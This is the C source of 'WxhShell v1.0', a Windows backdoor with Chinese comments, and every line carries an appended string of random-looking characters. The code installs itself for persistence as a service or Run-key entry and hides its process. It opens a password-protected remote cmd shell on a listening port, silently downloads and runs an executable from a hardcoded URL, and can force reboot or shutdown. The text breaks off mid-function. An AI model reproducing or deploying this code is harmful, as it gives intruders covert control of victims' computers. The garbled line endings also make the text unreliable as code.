  case 'd': { i3tg6o4C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |iakz|])  
    if(Boot(SHUTDOWN)) mk.9OhYY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .~~nUu+M  
    else { 8&GBV_`I  
    closesocket(wsh); 4 {y)TZ  
    ExitThread(0); !%CWZZ 6u  
    } e7 ^mmm  
    break; s'!Cp=xQF"  
    } CAfGH!l!  
  // 获取shell ((H^2KJn  
  case 's': { t<#TJ>Le  
    CmdShell(wsh); '))0Lh l  
    closesocket(wsh); L-ET<'u  
    ExitThread(0); I(i}c~ R  
    break; xN5)   
  } *=8JIs A>!  
  // 退出 n6wV.?8  
  case 'x': { {m4b(t`xw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |]jb& M  
    CloseIt(wsh); Z InpMp  
    break; '~5LY!H(pT  
    } |n2qVR,  
  // 离开 ;O,+2VzP%^  
  case 'q': { 7?#J~.d5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5x5@t :  
    closesocket(wsh); #eoome2Q  
    WSACleanup(); Si_ _8D  
    exit(1); J[l7di5  
    break; qX/y5F`  
        } v[ . cd*b  
  } ]OM"ZG/^  
  } c/D+|X*  
{j9{n  
  // 提示信息 V LOO8N[o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2GP=&K/A  
} PC~Y8,A|.t  
  } ,|3MG",@@h  
^X=ar TE  
  return; &*##bA"!B  
} <f ZyAa3}  
9Vg?{v!yn  
// shell模块句柄 `.E[}W  
int CmdShell(SOCKET sock) 3k\#CiB{  
{ g2BHHL;`  
STARTUPINFO si; Z-^LKe  
ZeroMemory(&si,sizeof(si)); {+ ][5<q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FtpK)9/4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -)w@f~Q  
PROCESS_INFORMATION ProcessInfo; =m!-m\B/  
char cmdline[]="cmd"; Dt}JG6S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `tB gH_$M  
  return 0; !=pn77`g >  
} }u\])I3  
)Q=_0;#;k  
// 自身启动模式 >tYm+coS  
int StartFromService(void) ohRjvJ'v|  
{ VU#`oJ:{  
typedef struct 5y d MMb  
{ lNz7u:U3  
  DWORD ExitStatus; 'H3^e}   
  DWORD PebBaseAddress; @ju@WY45$^  
  DWORD AffinityMask; rNrxaRQ  
  DWORD BasePriority; CnU*Jb  
  ULONG UniqueProcessId; pM+ AjPr  
  ULONG InheritedFromUniqueProcessId; A#K14Ayr  
}   PROCESS_BASIC_INFORMATION; %>yG+Od5Z  
_> 5(iDW0  
PROCNTQSIP NtQueryInformationProcess; .7Dtm<K#  
"7 4-4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U\ ig:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2POXj!N  
44gPCW,u  
  HANDLE             hProcess; cA2V2S)  
  PROCESS_BASIC_INFORMATION pbi; - \ 5v^l  
s6H]J{1F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RM]\+BK  
  if(NULL == hInst ) return 0; fFMlDg[];  
NokU) O;x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `[z<4"Os   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KT_!d*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SOs:]U-T3  
SbND Y{5RO  
  if (!NtQueryInformationProcess) return 0; /'Ass(=6  
7TgOK   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \MsTB|Z  
  if(!hProcess) return 0; Umz KY  
<5-[{Q/2z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %<)2/|lCd  
<C_jF  
  CloseHandle(hProcess); 68NYIyTW9  
|EIng0a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9/{(%XwX  
if(hProcess==NULL) return 0; rxVanDb=W  
FTH|9OP  
HMODULE hMod; s28`OKC}  
char procName[255]; ~xbe~$$Q@  
unsigned long cbNeeded; %d 1,a$*3}  
tnV/xk#!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Bgn&:T8<  
,MdV;j ~"'  
  CloseHandle(hProcess); m.JBOq=  
j5QuAU8  
if(strstr(procName,"services")) return 1; // 以服务启动 .sxcCrQE  
hjU::m,WX  
  return 0; // 注册表启动 "$~':) V"  
} N"pc,Q\xU  
H~oail{EQ  
// 主模块 5/q}`T9i%7  
int StartWxhshell(LPSTR lpCmdLine) cCSs  
{ 5Iy|BRU(%  
  SOCKET wsl; 2n,*Nd`  
BOOL val=TRUE; ~De"?  
  int port=0; +s"hqm  
  struct sockaddr_in door; m-%E-nr  
N/[p <  
  if(wscfg.ws_autoins) Install(); #=D) j  
:<ka3<0%  
port=atoi(lpCmdLine); <vnHz?71c  
2;[D;Y}  
if(port<=0) port=wscfg.ws_port; Kc!} `Pm  
}wWKFX  
  WSADATA data; ?# Mr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8/DS:uM  
QsGiclU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :lX!\(E2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H;D>|q  
  door.sin_family = AF_INET; Qwz}B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v&Ii^?CvO  
  door.sin_port = htons(port); )}''L{k-  
?RX3MUN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #c!*</  
closesocket(wsl); b[__1E9v'  
return 1; #&cI3i  
} +y,T4^{  
x* DarSk  
  if(listen(wsl,2) == INVALID_SOCKET) { g6W)4cC8a  
closesocket(wsl); S_iMVHe  
return 1; ylUrLQ\  
} 062,L~&E  
  Wxhshell(wsl); 7wWFr  
  WSACleanup(); F@^~7ZmP`  
kHk px52  
return 0; ,K>I%_!1  
y6@0O%TDN  
} Q0$8j-1I  
T`/AY?#  
// 以NT服务方式启动 >@BnV{ d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,V'o4]H  
{ ,4 hJT  
DWORD   status = 0; he#J|p  
  DWORD   specificError = 0xfffffff; H1 2Fw'2  
iy6On,UL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2^XGGB0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7;u e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4)E_0.C  
  serviceStatus.dwWin32ExitCode     = 0; h,QKd>4:CF  
  serviceStatus.dwServiceSpecificExitCode = 0; 9*$t!r{B@  
  serviceStatus.dwCheckPoint       = 0; +U:$(UV'A  
  serviceStatus.dwWaitHint       = 0; z^KJ*E  
$JSL-NkE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w;D+y*2  
  if (hServiceStatusHandle==0) return; FK6[>(QO  
PEN \-*Pv  
status = GetLastError(); D>|H 2  
  if (status!=NO_ERROR) )Z[ft  
{ w^(<N7B3T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ml2_ ]3j!  
    serviceStatus.dwCheckPoint       = 0; =Xm@YVf&ZD  
    serviceStatus.dwWaitHint       = 0; (As#^q\>B  
    serviceStatus.dwWin32ExitCode     = status; k[0-CB  
    serviceStatus.dwServiceSpecificExitCode = specificError; (VS5V31"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?xK8#  
    return; mCRt8 rY;  
  } ;g8R4!J  
so^lb?g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U!T~!C^  
  serviceStatus.dwCheckPoint       = 0; WJ)z6m]  
  serviceStatus.dwWaitHint       = 0; w'L\?pI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mrTlXXz  
} |].pDwgt  
\ Fl+\?~D  
// 处理NT服务事件,比如:启动、停止 h"lX 4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $GYm6x\4  
{ u,F nAh?"  
switch(fdwControl) !P ~_Dl2d  
{ EQ2#/>  
case SERVICE_CONTROL_STOP: PiYY6i0  
  serviceStatus.dwWin32ExitCode = 0; 6\L0mcXR!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k- Q%.o  
  serviceStatus.dwCheckPoint   = 0; ot @|!V  
  serviceStatus.dwWaitHint     = 0; 4B=2>k  
  { sfLMk E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yaj0;Lo[wt  
  } INUG*JC6  
  return; =b38(\  
case SERVICE_CONTROL_PAUSE: K )[]fm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "ZHW2l Mf  
  break; _\=`6`b)  
case SERVICE_CONTROL_CONTINUE: Gn&-X]Rrl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uC.K<jD%  
  break; Xf0M:\w=M  
case SERVICE_CONTROL_INTERROGATE: jQk*8   
  break; pqUCqo!m\  
}; `J]fcE%T0R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ttXXy3G#  
} syk!7zfK  
nv)2!mAh\  
// 标准应用程序主函数 ;V^ 112|C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :z}MIuf  
{ El<]b7  
Rfn9s(m  
// 获取操作系统版本 l6(-I Tb  
OsIsNt=GetOsVer(); h H <J,Wn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O#&c6MDB:  
;_8#f%Y#R  
  // 从命令行安装 VQY&g;[d  
  if(strpbrk(lpCmdLine,"iI")) Install(); (Lo%9HZ1Mx  
b:=TB0Fx?n  
  // 下载执行文件 5'0xz.)!  
if(wscfg.ws_downexe) { X_qf"|i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g wz7krUTe  
  WinExec(wscfg.ws_filenam,SW_HIDE); rX*H)3F  
} Jm|+-F@I  
wg ^sGKN  
if(!OsIsNt) { b'P eH\h{  
// 如果时win9x,隐藏进程并且设置为注册表启动 =PUt&`1.a  
HideProc(); j lp:lX  
StartWxhshell(lpCmdLine); u4m,'XR  
} x8!ol2\`<  
else gWrgnlq  
  if(StartFromService()) ;`l'2 z@N  
  // 以服务方式启动 6Ztq  
  StartServiceCtrlDispatcher(DispatchTable); F&])P- !3  
else c<uN"/gi*  
  // 普通方式启动 '#LQN<"4  
  StartWxhshell(lpCmdLine); 6``'%S'#  
z?>D_NLX6  
return 0; :1 (p.q=  
} $|]" W=h  
".SJ~`S  
;GVV~.7/  
$jm>:YD  
=========================================== FvN<<&B  
{D!6%`HKV+  
Op"M.]#  
o8zy^zN$6  
\|]Z8t7  
uMut=ja(U  
" DjI3?NN  
T(AVlI6  
#include <stdio.h> S5KEXnjm  
#include <string.h> hj  
#include <windows.h> )>b.;  
#include <winsock2.h> jAy^J(+  
#include <winsvc.h> ak ->ML  
#include <urlmon.h> ?I/qE='*  
z>jUR,!GT  
#pragma comment (lib, "Ws2_32.lib") }K1JU`Lz  
#pragma comment (lib, "urlmon.lib") T|6jGZS^|W  
$B kubWM  
#define MAX_USER   100 // 最大客户端连接数 WJNl5^  
#define BUF_SOCK   200 // sock buffer 3 N7[.I>A  
#define KEY_BUFF   255 // 输入 buffer M~WijDj  
`Q+ (LBP  
#define REBOOT     0   // 重启 s"9`s_p`d  
#define SHUTDOWN   1   // 关机 I&MY{f  
a\IP12F?  
#define DEF_PORT   5000 // 监听端口 *5 |)-E  
|fxA|/ s[<  
#define REG_LEN     16   // 注册表键长度 0q.Ujm=,z  
#define SVC_LEN     80   // NT服务名长度 vohoLeJTj  
SfJA(v@E  
// 从dll定义API 5nTY ?<x`k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *?y+e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /EibEd\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); smdZxFl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NB\{'  
tniDF>Rb  
// wxhshell配置信息 lZyG)0t,g  
struct WSCFG { E Q4KV  
  int ws_port;         // 监听端口 Ct2j ZqCDo  
  char ws_passstr[REG_LEN]; // 口令 #O$  
  int ws_autoins;       // 安装标记, 1=yes 0=no AX?fuDLs  
  char ws_regname[REG_LEN]; // 注册表键名 CPVjmRUF|  
  char ws_svcname[REG_LEN]; // 服务名 lY~4'8^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HS{(v;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *+TH#EL2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 } X^|$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "jTKSgv+q5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nL$x|}XAcj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :ml2.vP  
\Y|~2Ls8tu  
}; ~/8M 3k/  
4(Ov1a>  
// default Wxhshell configuration .!1S[  
struct WSCFG wscfg={DEF_PORT, 5k6mmiaKk  
    "xuhuanlingzhe", < 'f dkW  
    1, &;XAuDw4+i  
    "Wxhshell", Eo\UAc  
    "Wxhshell", j. *VJazb;  
            "WxhShell Service", KhCzD[tf  
    "Wrsky Windows CmdShell Service", TMs,j!w?I  
    "Please Input Your Password: ", Mva3+T  
  1, Z4A!U~  
  "http://www.wrsky.com/wxhshell.exe", W%.v.0   
  "Wxhshell.exe" L KCb_9  
    }; U\veOQ;mW  
rsF\JQk  
// 消息定义模块 J4"mK1N(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -+7uy.@cS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VtzI9CD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;<$H)`*  
char *msg_ws_ext="\n\rExit."; !/^-;o7  
char *msg_ws_end="\n\rQuit."; 7_.11$E=H  
char *msg_ws_boot="\n\rReboot..."; ,g7.rEA  
char *msg_ws_poff="\n\rShutdown..."; a-"k/P#  
char *msg_ws_down="\n\rSave to "; "V>R9dO{"!  
q}/WQ]p} <  
char *msg_ws_err="\n\rErr!"; uKz,SqX  
char *msg_ws_ok="\n\rOK!"; 2$14q$eb  
c&X{dJWD   
char ExeFile[MAX_PATH]; o\88t){/kB  
int nUser = 0;  *[r!  
HANDLE handles[MAX_USER]; L lw&& K  
int OsIsNt; %/c+`Wd/l$  
b+6"#/s  
SERVICE_STATUS       serviceStatus; {&P FXJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?Zc"C  
Rx*BwZ  
// 函数声明 Vs)--t  
int Install(void); >_c5r?]SG  
int Uninstall(void); P+!"wX0*N  
int DownloadFile(char *sURL, SOCKET wsh); i]=&  
int Boot(int flag); KjFK/Og.  
void HideProc(void); Ti2Ls5H}  
int GetOsVer(void); `} m Q  
int Wxhshell(SOCKET wsl); JXixYwm  
void TalkWithClient(void *cs); ~`GhS<D  
int CmdShell(SOCKET sock); kdxz!  
int StartFromService(void); WYIQE$SEv  
int StartWxhshell(LPSTR lpCmdLine); /erN;Oo%<  
Dy]I8_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >6~k9>nDb<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RrhT'':[  
4\pWB90V  
// 数据结构和表定义 j ,)P9V  
SERVICE_TABLE_ENTRY DispatchTable[] = DbZ0e5  
{ (faK+z,*6R  
{wscfg.ws_svcname, NTServiceMain}, %*o8L6Hn  
{NULL, NULL} $B#6tk~u  
}; B d^"=+c4  
Fhv2V,nZ<  
// 自我安装 G/d4f?RU  
int Install(void) Q|,B*b  
{ K*IxUz(  
  char svExeFile[MAX_PATH]; l akp  
  HKEY key; #Ei,(xiP  
  strcpy(svExeFile,ExeFile); 6oinidB[l  
l{:a1^[>y  
// 如果是win9x系统,修改注册表设为自启动 8K;Y2 #  
if(!OsIsNt) { GyW.2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =?])['VaA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dLvJh#`o  
  RegCloseKey(key); < AI;6/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [k[u*5hP|F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X53mzs  
  RegCloseKey(key); 4"@GNk~e  
  return 0; 'JZJFE7Z  
    } 6AvHavA^Y  
  } R#n%cXc|  
} K7e4_ZGI  
else { Y7GF$}%UL  
tp:\j@dB  
// 如果是NT以上系统,安装为系统服务 >tG+?Y'{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ? b[n|^wS  
if (schSCManager!=0) 2oZ9laJO  
{ X 6 lH|R  
  SC_HANDLE schService = CreateService ^ *&X~8@)  
  ( :s-o0$PlJ  
  schSCManager, E RdL^T>  
  wscfg.ws_svcname, `p0ypi3hn  
  wscfg.ws_svcdisp, A])P1c. 7"  
  SERVICE_ALL_ACCESS, KECElK3uj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2b=)6H1  
  SERVICE_AUTO_START, B51kV0  
  SERVICE_ERROR_NORMAL, LhzMAW<L4  
  svExeFile, /ahNnCtu?1  
  NULL, Z~6[ Z  
  NULL, o<l 2r  
  NULL, 3Db3xN  
  NULL, Q}*y$se!  
  NULL ]DvO:tM  
  ); |2`"1gt  
  if (schService!=0) H]\Zn%.#  
  { joa5|t!D9  
  CloseServiceHandle(schService); QM5 .f+/  
  CloseServiceHandle(schSCManager); 85|fyX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _P,^_%}V06  
  strcat(svExeFile,wscfg.ws_svcname); Te{ *6-gO3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BHj\G7,S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B|%tE{F  
  RegCloseKey(key); z *9FlV  
  return 0; DjCx~@  
    } .mL#6P!d3^  
  } U@Tj B  
  CloseServiceHandle(schSCManager); I\Glc=T*  
} ?0<w  
} 8BXqZVm.  
Y-~~,Yl~  
return 1; h?UVDzI!O  
} a :HNg  
wU`!B<,j  
// 自我卸载 K{cbn1\,H  
int Uninstall(void) Ybg- "w  
{ u-DK_^v4M  
  HKEY key; Rt(J/%;  
*Q}[ ]g  
if(!OsIsNt) { (LJ@S eM;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E-ZRG!)[v  
  RegDeleteValue(key,wscfg.ws_regname); E1Q0k5@  
  RegCloseKey(key); e kQrW%\3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BF8"rq}r0  
  RegDeleteValue(key,wscfg.ws_regname); X6RQqen3:  
  RegCloseKey(key); Uh|>Skic4  
  return 0; GZ }/leR  
  } 6'OO-o  
} XidxNPz0^  
} {hqAnZ@]vr  
else { F9XT lA  
!:fv>FEI9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NvtM3  
if (schSCManager!=0) Omag)U)IPh  
{ {.k)2{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7;LO2<|1  
  if (schService!=0) h<p3'  
  { v })Q  
  if(DeleteService(schService)!=0) { hPdx(E)8!d  
  CloseServiceHandle(schService); 80ZnM%/}  
  CloseServiceHandle(schSCManager); Y/U{Qc\ 6  
  return 0; 3+YbA)i;  
  } h ?#@~  
  CloseServiceHandle(schService); jB@4b 'y  
  } !rTmR@e$/  
  CloseServiceHandle(schSCManager); FN )d1q(~  
} (paf2F`~#  
} S7n"3.k  
yu&Kh4AP  
return 1; 8SnS~._9  
}  oYX{R  
*j*Du+  
// 从指定url下载文件 0jB X5  
int DownloadFile(char *sURL, SOCKET wsh) +nZRi3yu=  
{ iRV ;Fks  
  HRESULT hr; qeaA&(|5  
char seps[]= "/"; @?&Wm3x9  
char *token; EychR/s  
char *file; rhY_|bi4P  
char myURL[MAX_PATH]; K5ZnS`c;  
char myFILE[MAX_PATH]; uhn%lV]  
s` >H  
strcpy(myURL,sURL); Q!CO0w  
  token=strtok(myURL,seps); - G ?%QG`v  
  while(token!=NULL) w;yx<1f  
  { R Td^ImV  
    file=token; IG.f=+<0  
  token=strtok(NULL,seps); 6 ,N6jaW  
  } M%=P)cC  
]TK=>;&  
GetCurrentDirectory(MAX_PATH,myFILE); 3n(*E_n  
strcat(myFILE, "\\"); t]m!ee8*X<  
strcat(myFILE, file); pZ+j[!  
  send(wsh,myFILE,strlen(myFILE),0); T$b\Q  
send(wsh,"...",3,0); D6=HYqdj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <jd/t19DB  
  if(hr==S_OK) hWGZd~L  
return 0; gOE_ ]  
else gM_:l  
return 1; rveVCTbC  
zS% m_,t  
} Fu0.~w  
Xt(! a  
// 系统电源模块 ySruAkw%  
int Boot(int flag) I}:L]H{E  
{ V;*pL1  
  HANDLE hToken; 3@X7YgILU  
  TOKEN_PRIVILEGES tkp; k\(4sY M  
fykI,!  
  if(OsIsNt) { tSw>@FM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G.VYp6)5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I]sqi#h$2W  
    tkp.PrivilegeCount = 1; &X w`T9<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %F$N#YG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J%r7<y\  
if(flag==REBOOT) { d)*(KhYie@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sC6r.@[u8t  
  return 0; Ff/Ig]Lb  
} r%!FmS<  
else { mq`5w)S)\o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T0L+z/N_m.  
  return 0; 0_V*B[V  
} ??TdrTS  
  } nL;K|W  
  else { cHn;}l!I  
if(flag==REBOOT) { _[$# b]V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'oi2Seq  
  return 0; M'|)dM|  
} 5`UJouHi  
else { ;qVG \wQq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T5{T[YdX<  
  return 0; >40 GP#Vz  
} Gmgeve  
} a#R %8)  
)_pt*xo  
return 1; x(yX0 ,P/7  
} B? TpBd  
G"fdu(.@  
// win9x进程隐藏模块 W%zmD Hk~  
void HideProc(void) qj;l,Kua  
{ s;>VeD)*)  
:xN8R^(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,# iZS&  
  if ( hKernel != NULL ) )6C`&Mj  
  { $:]tcY-L9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $nc, ?)i!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?7rD42\8H  
    FreeLibrary(hKernel); D3]@i&^B  
  } )T<D6l Lt  
p9w%kM?  
return; _}z_yu#jY  
} %d-`71|lG^  
:D^Y?  
// 获取操作系统版本 MyM+C}  
int GetOsVer(void) 7n<#y;wo  
{ +QQ YPEx+  
  OSVERSIONINFO winfo; 1[[TB .xF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hC|KH}aCR)  
  GetVersionEx(&winfo); IKtiR8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G#g{3}dcK  
  return 1; rkP4<E-M  
  else q'fPNQg  
  return 0; (-#rFO5~l  
} dd19z%  
Cl-S=q@>V  
// 客户端句柄模块 G$S1#F -  
int Wxhshell(SOCKET wsl) cC' ^T6  
{ l92!2$]b  
  SOCKET wsh; Y"s )u7  
  struct sockaddr_in client; 8t--#sDy{0  
  DWORD myID; 0~:e SWz=  
A@\qoS[  
  while(nUser<MAX_USER) Bd.Z+#%l"  
{ Yo@m50s$  
  int nSize=sizeof(client); D'85VZEFyo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oFwG+W /  
  if(wsh==INVALID_SOCKET) return 1; widI s[ )  
nxf {PbHk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;4R =eI  
if(handles[nUser]==0) HUD7{6}4  
  closesocket(wsh); mC% %)F'Zf  
else <?nB,U  
  nUser++; +i_'gDy$  
  } *u<rU,C8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); giQ{Xrj  
h<Jc;ht  
  return 0; tu7+LwF7  
} {rtM%%l  
@-}D7?  
// 关闭 socket $8EV, 9^U  
void CloseIt(SOCKET wsh) 91U^o8y  
{ /kAwe *)  
closesocket(wsh); ^#}dPGm  
nUser--; [U% .Gi  
ExitThread(0); ef^Cc)S-Q  
} <8g *O2  
\}U[}5Pk&  
// 客户端请求句柄 ntDRlX  
void TalkWithClient(void *cs) %GNUnr$  
{ 5#yJK>a7  
HDa~7wE  
  SOCKET wsh=(SOCKET)cs; xcAF  
  char pwd[SVC_LEN]; V@ LN 1|  
  char cmd[KEY_BUFF]; `WP@ZSC6  
char chr[1]; 0,;E.Py?.  
int i,j; d*]Dv,#X  
r.Y*{!t  
  while (nUser < MAX_USER) { v&k>0lV, ^  
o(?VX`2"  
if(wscfg.ws_passstr) { 782[yLyv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s$js5 ou  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k, $I59  
  //ZeroMemory(pwd,KEY_BUFF); 97['VOh0  
      i=0; J(3gT }z-  
  while(i<SVC_LEN) { T_(qN;_  
*(@L+D0N  
  // 设置超时 i#CaKS  
  fd_set FdRead; jc${.?m  
  struct timeval TimeOut; ._8xY$l$  
  FD_ZERO(&FdRead); dM$N1DB{U+  
  FD_SET(wsh,&FdRead); j|3g(_v4W  
  TimeOut.tv_sec=8; o+]Y=r2  
  TimeOut.tv_usec=0; CpUI|Rs  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g5lmUKlQ$0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^zBjG/'7  
bE VO<x+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '*o7_Ez-{  
  pwd=chr[0]; .Z(S4wV  
  if(chr[0]==0xd || chr[0]==0xa) { stf,<W  
  pwd=0; +a7EsR  
  break; 8o*\W$K@  
  } 5KL9$J9k  
  i++; <^H1)=tlF  
    } 3bT6W, J4T  
[[";1l  
  // 如果是非法用户,关闭 socket OqEg{o5 a&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {^PO3I  
} Fw(b1d>E  
ZXF AuF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &:!ZT=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &4w\6IR  
V6DBKq  
while(1) { XgwMppacw  
6Tm Rc  
  ZeroMemory(cmd,KEY_BUFF); o 2[vM$]  
z5|e\Z  
      // 自动支持客户端 telnet标准   hLDch5J5~  
  j=0; n"^/UQ|#j  
  while(j<KEY_BUFF) { CT$& zEIm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wGov|[X  
  cmd[j]=chr[0]; dv1x 78xG>  
  if(chr[0]==0xa || chr[0]==0xd) { ?.rH;:9To  
  cmd[j]=0; ,7n;|1`  
  break; >z fq*_  
  } s=\LewF1<  
  j++; (T>?8 K _d  
    } FUW(>0x?  
xA[Wb'  
  // 下载文件 FR@PhMUS  
  if(strstr(cmd,"http://")) { Wx']tFn"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +d6Aw}*  
  if(DownloadFile(cmd,wsh)) mkj;PYa  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t%]^5<+X58  
  else a>&;K@  
